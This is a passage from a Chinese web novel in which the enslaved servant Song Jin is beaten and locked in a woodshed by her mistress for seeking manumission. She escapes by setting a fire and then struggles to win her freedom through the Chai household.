文雅不干净,宋瑾是知根知底的,不然也不会让她嫁文新了。
“奴婢也是您的帮手,将来出去了,定然不会乱说。”
“只有死人的嘴巴才不会乱说。”
宋瑾猛然惊住,对于这个世界的残酷,她似乎一直理解的不够透彻。
“你爹娘在我手里,你也在我手里,我才能安心。想脱籍,下辈子吧!”
文雅瞪着一双眼睛,彻底否决了这件事。
“奴婢是有价的,对吧?像我这样的奴婢,您找个人来,十两银子便能买到。奴婢只是想脱籍,没有要害大奶奶的意思。”
“想用银子脱籍,想都别想,是我给你机会出去挣钱的,就算得了赏,也不能归了你。觉得自己手里头有银子了,腰板硬了,都敢跟我讨价还价了是吧?来人!”
文雅猛然站起身来,大吼着叫人来。
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柏家的家丁难得的进了紫竹苑,在文雅的吩咐下,将宋瑾一顿绑,堵了嘴,抬着丢进了拆房。
“派几个人去食鼎楼,将楼里一个个都给我带回来。”
“还有她的银子,给我好好的搜搜!我看她没了银子,拿什么跟我谈。”
宋瑾嘴被堵了,身子也被捆了,就这么直接扔进了柴房里,左滚右滚脱不了身,想喊也根本喊不出来,只有呜呜的声音不断发出。
要说对眼前的事情完全没有预料是假的,宋瑾之所以把银子交给春云,就是怕这一点,可是等事情发生了,她还是束手无策,只能在心里祈祷春云能把银子藏好?
至于其他,就看明天了。
失约柴家,失约林夫人,失约保保,她只希望柴夫人大发脾气,如那日闯入食鼎楼般闯入柏家,当着所有人的面跟文雅要人,兴师问罪。
只要闹起来,文雅就有可能放人。
可是宋瑾没有等到柴夫人来到柏家,先等到文雅带着家丁进了柴房。
面对被结结实实捆住的躺在地上的宋瑾,文雅居高临下,怒意不减:“说!银子藏哪里了?”
家丁没在食鼎楼找到银子,宋瑾松了一口气。
一个家丁伸手,粗鲁地扯掉宋瑾口中的布块。
“银子在柴家,我借的。只要大奶奶愿意放人,我立刻取来。”
“哼!你当我傻是吧?就凭你一个家奴,凭什么可以借出银子来?”
宋瑾不解释,只是反问:“大奶奶不是也借我两千两么?柴家为什么不能借了?”
提到两千两,文雅更加愤怒:“我的两千两,你还欠着酒楼的本金和利息,不付干净别想走。”
宋瑾道:“银子在哪里,您比我心里清楚。文新拿去放债,一份本金,两份利钱,天底下没有这样的道理。”
“好哇,你跟我讲道理是吧。”文雅冷笑一声,对着旁边的家丁道:“今天你们就让她知道知道,什么叫道理。”
“给我打!”
宋瑾还没来得及开口说话,一根棍子便朝着她劈头盖脸地砸来,她本能地缩起身子抵抗一阵阵棍棒。
“大奶奶,奴婢只是想脱籍而已,您家奴婢有的是,何必为难我。”
“这家奴谁都能赎,就你不能!”
宋瑾从缩着身子硬抗变成翻滚着躲避,结果招来更多的拳打脚踢。
那一刻,宋瑾觉得自己作为人的尊严几乎消失殆尽,一张脸在泥土地上滚来滚去,因为疼痛,她恨不得将整个身子都藏进地里。
所有人都站着,而她躺着,翻滚着,惨叫着。
她不记得多少年没有挨过打了,大概是离家之后就再也没有挨过了,没想到过去这么多年,同样的事情依旧在她身上上演。
“大奶奶……”
宋瑾想求饶,却被打的开不了口,直到两只手插入她的腋下,将她整个人从地上提起来,她被迫伸直了身体。
“说,银子在哪里?”
文雅站在她面前,她的视野出现两种景象,一部分正常,而另一部分被染红。两种不同的色彩将文雅的脸切割成奇怪的模样。
“我的东西,就是我的东西。”
54. 后手
文雅没能从宋瑾的嘴里问出想要的答案,只朝身边人使了个眼色,那家丁用来扶住宋瑾的手立刻松开。
就在宋瑾的身子摇摇欲坠,要往前方倒去时,一记闷棍打在她的肚子上,痛的她整个身子几乎折叠起来。
她想蹲下去护住身体,另一记闷棍已经落下。
棍棒不长眼,家丁们却长了眼,朝她的肚子,背上,腿上落下。
那棒子干净,打在衣服上不留一丝痕迹。只有皮下的骨骼,痛苦嘶叫。
宋瑾砸在地上的时候,隐约看见两个人影冲了进来,随之而来的是一阵哀求哭泣声。
视线渐渐模糊,直到一片黑暗。
宋瑾醒过来的时候,先是感受到一阵阵剧痛,仿佛全身骨骼重组还未痊愈一般,接着便是温暖与寒冷。
背上寒冷,脸颊温暖,她正被春云抱在怀里。
不只是春云,红杏采薇都蜷缩在角落里,四个人挤成一坨。
宋瑾更加糟糕,她的绳子被解了,厚实的外衣也没有了,整个人冻得发抖,要不是春云抱着,恐怕都要冻死了。
“你们怎么也在这里?”宋瑾转动着眼睛,光线不好,却也看清了眼前景象。
她们都在柴房里。
“还好意思问!”采薇声音里带着恼怒:“你脱籍就脱籍,怎么还连累我们?大奶奶派人来找银子,找不着就把我们一顿痛骂,阿荣更惨。他跟你一起算账,如今大奶奶说他是同伙,不晓得要挨多少打呢。”
“当初要不是你,四娘哪里会叫春云点火。你不指认,大奶奶凭什么罚四娘?我们也都在这院子里待的好好的。如今好了,你脱籍不成,连累了所有人。”
宋瑾抿了抿唇,问道:“银子呢?”
她记得,文雅没找到银子,而她把银子交给春云了。
春云抽泣着道:“我……我害怕,我就找了个僻静地方,把银子扔了……”
宋瑾只觉得两眼一黑,差点昏过去。
春云见状赶紧补充:“等咱们出去了再去找,没准儿还在。”
宋瑾没再说话,没了银子,就什么都做不了了。
她彻底失败了么?
眼下只能赌,赌柴夫人不会放过她。
可是,宋瑾要熬到第二天也不容易。
保暖的衣服没了,肚子饿了,还浑身是伤,痛的连翻个身都难。
看着幼小的春云,她忽然想起一个人来:“我娘呢?我爹呢?”
那两个模糊的人影是不是他们?
红杏给了她答案:“你爹娘都被发落到庄子里头种地去了。”
宋瑾挪了挪脑袋,剧痛无比。
柴房里死寂一片,直到傍晚时候才从门口传来声音。
“大奶奶叫我来问话。”
是杜鹃。
柴房的门被打开,伴随而来的是一股剧烈的冷风,宋瑾的身子缩了缩。
杜鹃进了屋,环视一圈,四个人各有各的落魄。
她快步走到宋瑾身边:“蔓草……”
宋瑾只转动了下眼珠子。
“你爹娘都被发落到庄子里头去了,阿荣他们也都挨了打。”
杜鹃话说到一半,停顿了会子才继续道:“你要不要把银子交出来?我同大奶奶求过情了,若是你肯交出来,日后不再生这些心思,将来不管在哪里,好歹还能留着这条命。”
宋瑾猛然睁眼。
留条命?
杜鹃察觉到她的变化,继续道:“如今这样,大家都不好过,你可能把银子交出来?”
一种悲愤从宋瑾胸中涌出,强度几乎压过身上的剧痛,她忽然支起身子问道:“莫非大奶奶要杀了我不成?”
杜鹃面色为难起来:“其实……还是你知道的太多了,又有了脱籍的心思,大奶奶不放心,留你怕也是个祸害。”
柴房里忽然响起一阵呜咽声。
宋瑾若是死了,她们这几个“同伙”的日子能好过到哪里去?如今已经提前开始悲伤起来了。
“她要杀了我不成?”
杀人是宋瑾万万没想到的,她脑子里只有剥削与压迫,只是万万没想到还有杀人这一出。
杜鹃没说话,只是扫了她身上一眼,宋瑾忽然明白过来。
这个天气,没有外衣,关在柴房里,不吃不喝要不了三五天她就得死。
根本不需要筹谋划策,也不需要下毒,只需要一场重病,就像当初那样。
无声无息,无人在意。
没有任何疑点地除掉一个家奴就是这么简单。
宋瑾并不能确定其他人的命运,但文雅对她的的打算已经很清晰了。
至于交出银子就能活,她不信。
“你若还是家奴,大奶奶至少还能信你三分,若是脱了籍……”
杜鹃细心劝着,道理不用说明,宋瑾也略懂一些。
除非谋反的罪名,否则家奴不可告主,不然无论家主罪名是否成立,奴仆先做处罚。
所谓古代的奴仆忠诚,不过是一场严格制度下的奴役罢了。
忠诚只是表面,制度才是根本原因。
宋瑾若是家奴,绝对不敢告发文雅,但若是脱了籍,就未必了。无论宋瑾怎么强调她也是帮凶,文雅也不肯冒这个风险。
“放弃吧。”
杜鹃劝着,宋瑾哽咽着说不出话来,只是死死咬着唇,眼泪成串地往下落。
“你放弃吧,把银子交出来,否则大家都没有好果子吃。”
采薇也劝她,可是宋瑾不肯,既然没找到,那就是没有,她咬死了没有银子。
“我可以放弃脱籍,但是,没有银子。”
杜鹃皱着眉头,她自然知道那银子数量不会少,可宋瑾死活不肯交出来,她也无可奈何。
“眼下这情形……我只能帮你到这儿了,还有阿荣……”杜鹃垂下眼:“我还见不到他,也不知道他怎样了,千万不要有事才好。”
都是被宋瑾拖累的,人人都知道。
杜鹃将话说完,往门口瞥了一眼,见家丁没往里头看,忙从袖口里掏出一叠卷起来的薄饼扔给她。春云抓了过来,往衣服里头揣。
“我走了,你自己小心应付。”
宋瑾点了点头,看着杜鹃的身影消失在门外。
“你到底怎么想的?眼下哪里还有脱籍的希望,先把命保住吧。”
采薇有些不满,却是实话,保命要紧。
“没找到银子便是没有银子,若我供出银子,你们就真的成了帮凶了,到时候只怕连你们也脱不了干系。”
采薇哑然,她没说是不知道匣子去哪里了,而且当时大家都没说也是念着宋瑾对她们还行,大家都是奴,何必还要相互为难。
至于文雅为什么没找到,其实她们也不清楚,只是怀疑藏起来了。
宋瑾从春云怀里摸出薄饼来,没有馅,却足够抵抗饥饿。
眼下已经黄昏时分,几人都是只吃过晚饭的,此刻见了薄饼都有些流口水。
一人一张薄饼,没有水,将就着吃了。
大概是因为冷,也或许是
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那张薄饼破了冰,原本两两分开的四人都挤到一起去了。
“明天会怎样?”
红杏看着窗外微弱的光线低声发问,可是没人能回答她。
就在几人沉默无言时,门外有微弱的声音传来。
“二娘托蔓草在外头买些东西,眼下人回来了,二娘要跟她讨东西。”
是东枝,二娘屋里的。
赵依柳一向和善,而且宋瑾知道她是给过东西的,这话定是个理由,肯定是来帮她们的。
然而结果很叫人失望。
“去去去,讨什么东西?身上搜过了,都没有,回去。”
赵依柳是个老实人,就连找的理由都这般老实。
四人听见东枝远去的脚步声,都叹了口气。
窗外最后一丝光要消失时,几人越发绝望起来,这一夜难捱。
然而就在此时,一个熟悉的声音传来。
“我过来看看。”
居然是四娘叶问芙。
“大奶奶说了,不给看。”
“我院子里出去的丫头我还不能见了?又不是见什么外男,我看你们谁敢拦我!”
话音刚落,就听见那扇木门被一脚踹开,叶问芙直接走了进来。
是宋瑾熟悉的泼辣。
进了门的叶问芙却不说话,手上抱着个布包的东西,在柴房里来回踱着步子,双眼直勾勾盯在宋瑾的脸上,盯的人心里发毛。
“好啊,四个都是我屋里出去的,看来咱们这是一脉相承的不招人待见啊。尤其是你!”
叶问芙一双眼睛瞪得溜圆:“在我院里就不安分,我还以为你飞上枝头了,原来也有当落水狗的时候,还真是叫人痛快。”
说完话她朝门口瞥了一眼,看见家丁正盯着里头看,叶问芙破口大骂:
“看什么看?没见过老娘骂人的样子嘛?别以为我不知道你们这帮奴才们在背后怎么笑话我。你们想怎么笑话就怎么笑话,别说你们一天天的跟条狗一样,就算有本事了老娘也不会多看你们一眼。”
叶问芙泼辣,全家皆知,几个家丁见了轻轻摇头,都躲到一边去了,反而没人看着这柴房里,叶问芙这才转过身来看向四人。
“一个个落水狗似的,有本事继续跟大姐呛啊,我倒要看看你是怎么死的。”
说完将手中的东西重重地朝宋瑾砸来,痛的宋瑾惊呼一声,叶问芙立刻开骂。
“你还敢叫?大姐怎么没把你打死?想你这种吃着碗里看着锅里的,就该活活打死,她不打死你,我也要打死你。”
叶问芙骂着,宋瑾却发现那个重物相当滚热,有些贪恋,又准时烫手。
是个被布包着的汤婆子。
红杏会意,抓着汤婆子往身子下面塞,以防被家丁发现。
叶问芙又骂了几句,这才留下一句“明天继续收拾你们!”这才离开了柴房。
大概是因为家丁们刚刚被骂狠了,此刻没一个人看向她,以至于根本没发现她手里少了个东西。
有了这个汤婆子,四人这一晚算是平安捱过了。
宋瑾因为身上疼痛,一直半睡半醒,第二天整个人迷迷糊糊,一直醒不透,春云担心的直把人往怀里搂。
可她身子小,哪里搂的住宋瑾,红杏便将人接过去抱着。采薇推开衣袖去看,伤痕已经通过淤青展现出来,惨烈无比。
一直捱到午后,一阵嘈杂的声音自外头传来,春云采薇趴在门窗上听着,忽然采薇回头道:
“蔓草,外头有人找你,好凶的。”
55. 生机
宋瑾爽约,柴夫人如期而至,前来兴师问罪。
那洪亮的嗓音如一隙阳光钻过乌云,给宋瑾带来无限希望,她几乎是爬到窗户边上的。
“把文子晋给我交出来……”
“敢让老娘空等一场,我看他是活腻了……”
“知府夫人的宴席他都敢不来,我看他是吃了熊心豹子胆了……”
……
四个脑袋挤在窗户边上,隐隐约约听到厅里传来的声音,确定了那是来兴师问罪的柴夫人。
“柴家有宴席?”
有,但宋瑾没说,为的就是防着文雅扣住人。
如今文雅来了,可是要怎么才能让她把自己带走呢?
宋瑾环视一周,迅速想到一个主意来。
柴房里什么都缺,就是不缺柴火。靠着墙壁一层一层垒着一尺来长的粗木柴,都是用砍刀砍断的。
这种刀子砍完后有个特征,那就是一头尖锐,一头凹进去。
宋瑾叫春云挑一根小孩胳膊粗细的尖头柴火出来,再找一根有裂缝的木棍,一脚踩着带裂缝的棍子,一边把尖头插进裂缝里,双手快速揉搓。
她要钻木取火。
春云有些小孩特有的天真与无知,宋瑾叫做什么就做什么,倒是采薇红杏问了一句:“这是要干什么?”
“生火。”
“生火?”
在柴房里生火,这可是个大麻烦。
“你要把这里烧了。”
宋瑾淡淡道:“点着了未必死,不点着一定死。”
采薇红杏面面相觑,只是春云听见能活,钻的更加起劲,奈何年纪太小,体力不支,速度很快慢了下来。
宋瑾如今是完全使不上力的,采薇立刻接过去。
“反正伸头是一刀,缩头是一刀,还不如来个痛快。”
采薇一边搓着,一边恶狠狠道。
红杏拉了拉宋瑾的袖子问:“你有几分把握。”
“若是完全撕破脸,便是两败俱伤,咱们是光脚的不怕穿鞋的,应该让大奶奶怕我才对。”
宋瑾要点把火,趁乱逃出,找到柴夫人,以任她处罚的名义将自己带走,除非文雅要撕掉文子晋这张皮,否则她拦不住宋瑾。
三个人轮流搓着,直搓的缝隙冒烟,却不见火星子,宋瑾着急,看见春云穿的一件薄袄子,指着衣服道:“撕衣服,扯里头的棉絮出来,塞到缝隙里继续搓。”
发黄的棉絮被扯松后塞进缝隙里,很快便窜出火苗来,干燥的树叶子盖上去,火势瞬间大了起来。
几个上灶的姑娘,要把火烧大简直太容易了,几捆干柴被点着,几人拍门大喊:
“走水啦!走水啦!走水啦!”
家丁们闯进门,一见那火势,忙招呼人去打水,四个人抓着汤婆子拖着宋瑾离了柴房,直奔厅里找柴夫人去了。
柴房本就离厅上不太远,里头一叫走水,文雅立刻猜到是宋瑾搞得鬼,想要往里头去,奈何柴夫人不依不饶。
“别说走水了,天塌了也得把人给我交出来。”
“我说过了,人不在我这里!”
“少跟我鬼扯,他当日与我家保保说的一清二楚,就是来你柏家,断断不会出错。”
“你那闺女才多大年纪,定是她记错了。”
“谁都可能出错,我家保保绝不会出错。我打听过了,那人名叫文子晋,是你的亲戚。你今日若是把人交出来给我处置也就罢了,若是不交,就算把这苏州城翻过来,我也绝对要找到他算这笔账。”
文雅气急了,又实在不想吵,里头动静大了起来,必然要惊动人的,要是给柏元槐知道了,还不知道会闹成什么样子。
就在文雅着急上火时,四个女人跌跌撞撞地出来了。文雅想找人来拦,可宋瑾已经看见了柴夫人,整个人就那么往前一扑:
“柴夫人,小人有罪,是小的办事不周,耽误了夫人的宴席,请夫人处罚。”
柴夫人本是天大的火气,可是看见宋瑾蓬头垢面地扑出来时不免疑惑。
何故把人打成这样?有什么隐情?
“谁打的你?”
宋瑾抬起脏兮兮的脸道:“是小人不小心打翻了一杯茶,大奶奶责罚我也是应当的。却不想耽误了柴夫人和林夫人的宴席,是小人该死,小人这就上门请罪去。”
柴夫人疑惑起来,皱着眉头看向文雅。
文雅火冒三丈,却又没办法辩驳。
她不能说出理由来。
就在几人不知道该怎么办时,外头突然传过话来。
柏元槐回来了。
柴夫人不是什么小角色,大闹柏家自然被人重视,柏元槐入住这屋后便安排进了自己的人,因为很快便有人传话到他耳朵里,回来时便撞上了这一幕。
“婶母,这是怎么回事。”
柏家乱做一团,有人喊叫着灭火,有人扑在地上,有人怒目而视,而柏元槐满头疑惑。
鬼主意一向很多的宋瑾此刻却不说话了,她不说文雅就得说,说的宋瑾不爱听了,一拆穿就麻烦了。
文雅清了清嗓子道:“有人伺候不周,我罚了一下。”
柏元槐疑惑地看向宋瑾,可宋瑾却把脸低下去了,叫人看不清她的脸。
“婶母罚便罚了……”
“罚便罚了?”柏元槐的话还没有说完,柴夫人嚷嚷起来:“这可是食鼎楼的掌柜,是我今日宴请知府夫人的厨役。你们把人打成这样,耽误我的宴席,居然罚便罚了?把老娘当摆设么?”
“柴夫人,还请息怒。”柏元槐伸手请柴夫人坐在下首,他自己在上首坐下了才缓缓问道:“婶母可有什么话说?”
文雅憋了一肚子的火,可是把柄还握在宋瑾的手上,此刻只得服软:“人是我罚的,至于她今日要去哪里做厨役,我又不曾知晓。”
“哼!”柴夫人压根不吃文雅那一套:“一个掌柜,你家婶母说打便打了,我家的宴席,说耽误也就耽误了,好大的口气啊。”
柏元槐不紧不慢道:“此事是我婶母不对,只是并非有意,柴夫人可否给在下一个面子?”
柴夫人冷笑一声:“面子是要自己挣的,可不是靠人给的。”
说完,她扫了眼地上的宋瑾,懒懒道:“今日不管是谁,无论如何也要给我一个说法,别想着三言两语便将我打发了。”
“自然是要给说法的。”
柏元槐说着话,眼神却
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是看向文雅的,文雅只好道:“人是我打的,你若要罚,继续打好了。”
宋瑾一听这话,仰起脸来道:“小人有错,甘愿受罚,只是责打小人,便能平息夫人怒火了么?”
柴夫人歪着个头,觉得事情有意思起来了。
“那你想如何平息我的怒火?”
宋瑾道:“小人愿随夫人回府,听凭处罚。”
文雅一听,不乐意了:“要罚就在这里罚好了。”
柴夫人轻轻一笑,眼前两人的心思昭然若揭,一个要走,一个非要留,就看她想怎么办了。
“这样好了,你随我回去,把该做的事情做了,若是做的……”
“不可!”
文雅厉声制止,柴夫人刚刚平息下去的火气再度燃起:“凭什么不可?他是食鼎楼的掌柜,又不是你的家奴,还要听着你的吩咐做事。”
一句话戳到文雅的痛处,宋瑾就是她的家奴,一个不能说出口的家奴。
“小人愿意随夫人走,只是要想把事做完,小的一人不行,还需要这些帮手才好。”
柴夫人道:“随你,反正别指望我再付你一分银子。”
几个人听说能离开柏家,心里都生出希望来。文雅想拦,可是视线一对上宋瑾,她又不敢了。
逼急了,谁都会狗急跳墙的。不怕,他爹娘还在她手中呢,总有办法叫她乖乖回来的。
“既然柴夫人喜欢,那带走好了?”
“还有我的账房和伙计,原先厨房的婆子都得去。”
文雅的胸腔剧烈起伏着,她这辈子从未想过,有一天居然被一个丫鬟欺负成这样。
这一场对峙,让宋瑾成功的带着众人离开了柏家,只是她也明白,文雅不会放过她的。
柴夫人如愿以偿的带着人走了,然而等人进了柴家,她却并不急着叫他们去做菜,而是端正地坐在厅里,轻笑着看向宋瑾:“说吧,那柏家的二奶奶为什么打你。”
二奶奶便是柏家二房的奶奶,自打兄弟二人分家,丫头们都叫惯了大奶奶,乍一听二奶奶竟有些不习惯。
宋瑾站在厅上,采薇红杏两边扶着,就这么缓缓的将事情托出,只是绝口不提故意纵火,私存银两一事,只说文雅叫她扮演文子晋去经商挣钱。
柴夫人听了这个话,半晌才道:“要我说,这女人呐,碰上那么一个男人,也是命里有一劫,只是没想到这一劫竟然是没有子女。”
柴夫人跟文雅一路性子,泼辣,然而柴夫人的运气却好许多。有儿有女,夫君也是真心疼爱,纵然偶尔生出小心思,她也是使使手腕便能叫柴恒把心收住。
文雅却不同,没有子女,夫妻反目,妯娌不和,侄子继承家业,将来若是能和睦相处也就罢了,若是不能,有她的苦日子在后头。
若是宋瑾说出了文雅做过的那些事,必然要再起风波,文雅绝不想看到这一幕。
“夫人,小人其实是柏家家生的奴婢,之前隐瞒实在是迫不得已,如今只因为大官人仁善,给了些赏银,奴婢便想着脱籍,谁知道一提此事便遭了打,死活不肯叫奴婢脱籍。”
柴夫人听到这里皱起了眉头来:“你要脱籍?”
“还请夫人成全。”
56. 转机
宋瑾要脱籍,却求到了柴夫人面前,连理由都有了:得罪了林夫人,就把人送去赔罪。
可惜,宋瑾情急之下想到了理由,却没有想到其他。
一个帝王不会共情太监,一个奴隶主不会共情奴隶,柴夫人也共情不了家生子蔓草。
对于用尽手段要脱籍的奴婢,他们只会怀疑其忠心,怀疑她的人品。
就像二十一世纪的背景调查,跟前司闹出大矛盾的人往往会被其他公司忌惮,宁愿错过也不愿留下。
柴夫人不愿意帮宋瑾这个忙,至于林夫人,她压根儿就不知道今日的厨役是宋瑾,也不知道今日正式请的厨役没到,她只是被搬出来压制柏家人的一座山而已。
没有哪个座上宾会关心厨子的,二十一世纪来的也不行。
宋瑾脱籍的愿望几乎完全落空,然而转机在意料不到的地方出现了。
柴夫人把人带出来了,可是一身的伤也不大可能再继续罚了,否则人就该死在她家中了。于是两眼一闭大手一挥,只当自己不知道文子晋是蔓草,她也不参与文雅的那点小心思,将所有人扫地出门,她们该怎样还是怎样。
宋瑾只能祈求柴夫人可以帮自己保密女子的身份,让她可以继续以文子晋的身份在外做厨子。
柴夫人答应了,接着便叫下人送人出门。
然而就在这个时候,一个稚嫩的声音传来。
“娘,等一下。”
保保冲了出来。
“娘,既然她是女子,能不能留下来陪我玩几天?”
保保依旧惦记着故事,宋瑾看到了希望,柴夫人却并不满意。
“家里这么多的人还不够陪你玩呀?”
柴夫人面对保保的时候,语气温柔许多。
“她们不好玩。”
保保眼睛在眼前几人身上扫来扫去,一会儿落在站不稳的宋瑾身上,一会儿落在比她年长几岁却黑黑小小的春云身上。
保保今日穿的一件绲金边的小羊皮袄子,雪青色缎子面,衣领处露出一节短短的绒毛来,衬托的人越发机灵可爱。
反观春云,脏兮兮的棉布薄袄,衣摆处还被扯了一个口子,发黄的棉絮露了出来,在保保的衬托下越发窘迫。
一种莫名的羞耻心让春云揪住了衣服下摆,往后头扯去,生怕被人看见自己的窘境。
可是贫穷是藏不住的。
“娘,把她也留下吧。”
这一回,她指的是春云。
柴夫人不情不愿,却还是顺从了保保,留下了宋瑾和春云,其他人都得回食鼎楼,当做无事发生一般。
可是事情发生了就是发生了,哪里是装一装就能过去的。
宋瑾跟春云被安排住在一间屋子里,宋瑾因着身上有伤,柴家派人请了医官来瞧病,在这期间保保是不给去见的。
于是春云被单独带到了保保面前。
柏家是不差的,春云自小到大虽没吃过穿过多少好东西,但也是见过的。只是如今面对保保身边两个年岁比她还小的丫头时,那种拘谨和窘迫几乎写在脸上。
干干净净的袄子,白白净净的皮肤,细细嫩嫩的手指,就连头发都梳的整整齐齐。
而春云,只是一个被关在柴房冻了一夜,撕破衣裳,钻木取火烧了柴房才逃出来的脏兮兮的小丫头。
这种窘迫,在保保绕着她转的时候表现更甚,整个人虽是站着,却缩着身子。
“你怎的这样脏?”
保保的世界里没有脏东西。
“我……我在柴房……睡了一夜。”
“你是谁家的?怎么睡柴房?”
春云垂着头,手指揪着衣摆:“柏家的。”
保保歪着头眨巴着眼睛,不理解这个柏家是谁家。
“算了,你会讲故事么?”
春云听了一愣:“故事?什么故事?”
“琼英的故事。”
春云摇摇头:“不知道,不过我知道怎么杀鸡。”
“杀鸡?”
保保露出惊讶的神色来,春云认真地嗯了一声。
“咯咯咯……咯咯咯……杀鸡?杀鸡有什么好玩的?”
保保笑个不停,春云不大懂到底是爱听还是不爱听,因此自顾自说道:“杀鸡要拔脖子上的毛,还得找到气管血管,得一刀割破了才好。鸡血也得……”
“这个故事不好。”旁边的乳母张口拦下:“什么气管血管的,吓到保保了怎么好?”说着将保保揽在怀里,捂住耳朵,生怕吓着她似的。
春云不知所措地站在那里,呆呆地看着保保。
保保停止了笑声,伸手扯掉乳母的手,将春云交给了自己身边的小丫鬟。
“带她去洗干净,换身衣裳再来给我讲别的故事。”
宋瑾独自一人坐在小屋里,医官来看过,把了脉,查看了伤口,开了方子,叮嘱她身上的伤养养会好,但是后脑勺一小块头皮保不住了,将来应该不会再生出头发来,劝她多休息才能好得快。
宋瑾苦笑一声:“多谢大夫。”
柴家下人将人送走,又端了一个浴桶进来,叫她清洗干净,换了衣裳才好上床。
宋瑾身上的伤不方便行动,但是无人在意,别弄脏了被子才重要。
小房间里,宋瑾艰难地脱了衣裳,肩膀胳膊肋骨大腿,淤青随处可见,惨不忍睹。
独自洗过澡后,勉强的将自己收拾成了人样,这才钻进被窝里。下人端了矮桌,摆上饭菜叫她吃,吃饱喝足终于躺下歇息。
及至夜间,春云才从外头蹦蹦跳跳地进来了,彼时的她换了一身桃红色袄裤,头发也重新梳过,干净整洁不少,正满脸笑意地往床上爬。
“姐姐,我回来了。”春云衣服没脱便往被窝里钻。
“不脱衣服么?”
春云嬉笑着坐起上身问道:“我好看么?”
“好看。”
“是这家的小姐给我的,她人可好了。”
宋瑾歪着个头,看着春云如今的模样,倒有些保保身边那些小丫鬟的样子来。
“她赏了我衣裳,说是做给府里下人的,结果跟小姐的衣裳似的。我不舍得脱,穿着睡觉好不好?”
宋瑾笑笑:“都随你。”
“你身上还疼么?”
自打春云进来,宋瑾就只转动脖子说话,身子压根儿不挪动。
“好多了,大夫开了药,我吃过一副了,很快就能好起来。”
春云无比开心,扯着被子闻了闻,干干净净没有味道,真好。
她习惯性把身子往宋瑾身边挤,这一挤,宋瑾的脸色瞬间变化。
“不能碰。”
春云惊的往外一弹,等宋瑾脸色恢复了她才从被窝里摸出宋瑾的胳膊,撸起袖子去看。
触目惊心一大片的青紫,她又要去看另一侧,宋瑾把她拦下了。
“不用看了,骨头没断,淤青总会恢复的。”
春云抱着青紫的胳膊不动弹,泪水大颗大颗地落在淤青上。
“这家的小姐人好,我去求她好不好?求她让我们一起留在这里,我们不回去了。”
宋瑾苦笑一声:“我们是柏家的,红契还在大奶奶手里呢。”
红契与黄册,就像两道枷锁绑在宋瑾的脖子上,让她不得喘息。<
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p>“我去求她,她会答应的,她喜欢听我讲故事。”
宋瑾不说话了,真论起来,眼下她自身难保,春云若是能留在保保身边未必不是好事。
第二日一早,春云接了早饭进来,喂宋瑾吃下后便进里头去找保保。
宋瑾并不知道春云是如何跟保保说的,只知道晌午回来时春云满脸喜色地告诉她,宝宝答应了,会让她娘去要人,实在不行就买下来。
宋瑾有些惊喜,又有些担忧。自己走了,蔓草的爹娘怎么办?她进了柴家继续做家奴么?
那不是她想要的。
与文雅之间,她们一个手握对方的秘密,一个手握对方爹娘,相互勉强制衡,换做柴家可就不一样了。
若是以奴的身份进了柴家,她怕是再也没有脱籍的可能了。
宋瑾心中惴惴不安,身上又痛的起不来身,只能任由事情发展下去,消息在第三天下午传来。
柴夫人去了柏家,然而要人失败。
文雅的态度直接又明确:要罚她,打死可以,脱籍不行。
这是要鱼死网破,可是宋瑾没有那个勇气。
有些事情不说出来就永远是手里的牌,一旦打出去了,便再也没有收回来的可能。
宋瑾输了赔命,恐怕还得拖累不少人,文雅只是损失部分钱财。
俗话说,树活一张皮,人活一口气,文雅咽不下这口气,死杠到底,宋瑾只能退一步。
可是柴夫人却上了火气,她不是个轻易接纳失败的人,不要归不要,不给归不给,在文雅面前碰了一鼻子灰之后,她反而来劲儿了,怂恿着自己的夫君柴恒去解决这个问题。
柴恒犯了难,于是找了他的好兄弟,苏州府同知季舒白来了家中商议。
宋瑾万万没想到,春云几句话,居然让这许多人物参与了进来,尤其是得知季舒白来了以后,她便知道自己家奴的身份遮不住,心中不免担忧起来。于是催促着春云,叫她带自己去厅后头偷听。
两个人静悄悄的,厅里的声音不大,却听得清晰。
“这件事情我劝你少管,不是我对那个掌柜的有偏见,但是他利用保保这件事,绝对不能纵容。”
“也不是,是那个小丫头求到了保保面前,保保好新鲜,所以想要他们二人。”
“那也办不了,你不想想,这苏州城里有多少个家奴,今日你要我帮你要一个,明日你再要一个怎么办?”
“实在不行就把文掌柜脱籍,小的那个留给保保,她喜欢,你就当为了保保好了。”
“今日他要脱籍我便帮他,那明日你屋里有人要脱籍求到我面前,我帮是不帮?还有,为了保保才更不应该把这些不三不四的人往家里招,她分不清,你还分不清么?”
“我同你说过了,这个文子晋也好,家奴也好,满口谎言,如今都敢打起保保的主意来,我劝你尽快将人撵走。”
柴恒知道季舒白的性子,知道他这人不喜欢用权利办私事,被他这样一顿训斥后也不再言声。
宋瑾站在墙壁后头,将这段对话听得清清楚楚。一阵寒风卷过来,宋瑾一只手揪紧了衣领,一手搭在春云的肩上。
“回去。”
宋瑾一瘸一拐地往她的小屋走去,她走得慢,春云时不时回头看她,可宋瑾只抬头看向前方。
“我是不是做错事了?”
宋瑾听了这话后停下脚步,垂首看向春云,就见她嘴角下撇,一副马上要哭出来的样子。
“胡说,你办的很好。”
宋瑾伸手在春云的脸上勾了一下,眼前模糊一大片。
今冬的第一场雪无声无息地落了下来。
57. 回归
季舒白不肯帮柴恒要人,也不肯帮宋瑾脱籍,而宋瑾似乎也不能怨恨他。
宋瑾怨恨的是这个世界。
关于季舒白不肯帮忙这件事,都不需要他说的那些理由,宋瑾也能明白他的不愿帮忙,不然她早贴过去了。
可是,当那些话钻进耳朵里,依然刺痛她的心。
她不是好人她知道,可是听到别人说她不是好人又是另一回事了。
宋瑾缩进被窝里,告诉春云不许将刚刚的话传出去,等过两天她再好些,她便会去找夫人,请她准许她们二人离开。
春云极度不舍,可是季舒白的话她也听在耳中,不得不放弃留在柴家的想法,只是......
“姐姐,什么是不三不四的人?”
宋瑾身子一怔,过了半晌才开口安抚道:“季大人不是说你,他说的是我。”
“你怎么不三不四了?”
宋瑾笑笑,却并不解释。
她撒谎成性,很多时候都没有意识到在撒谎,谎言便已经出口了,算不三不四么?
她这样的人,确实不适合待在保保身边,季舒白说的没错。
可她依然恨。
她恨这里的一切。
宋瑾窝在小屋里养伤,春云白天里常进内院陪伴保保。大抵是保保身边的丫头也娇嫩些,不曾见过春云这样的。在春云的诉说下,她对外头的世界充满好奇,常留在身边说话。
这天上午,宋瑾还躺在床上歇息,保保在乳母和丫鬟的陪伴下,由春云带了进来。
宋瑾起不来身行礼,只能支起身子说话。
保保站在床边,歪着头看着宋瑾,明明之前人好好的,还会考她呢,如今怎的就成这样了?
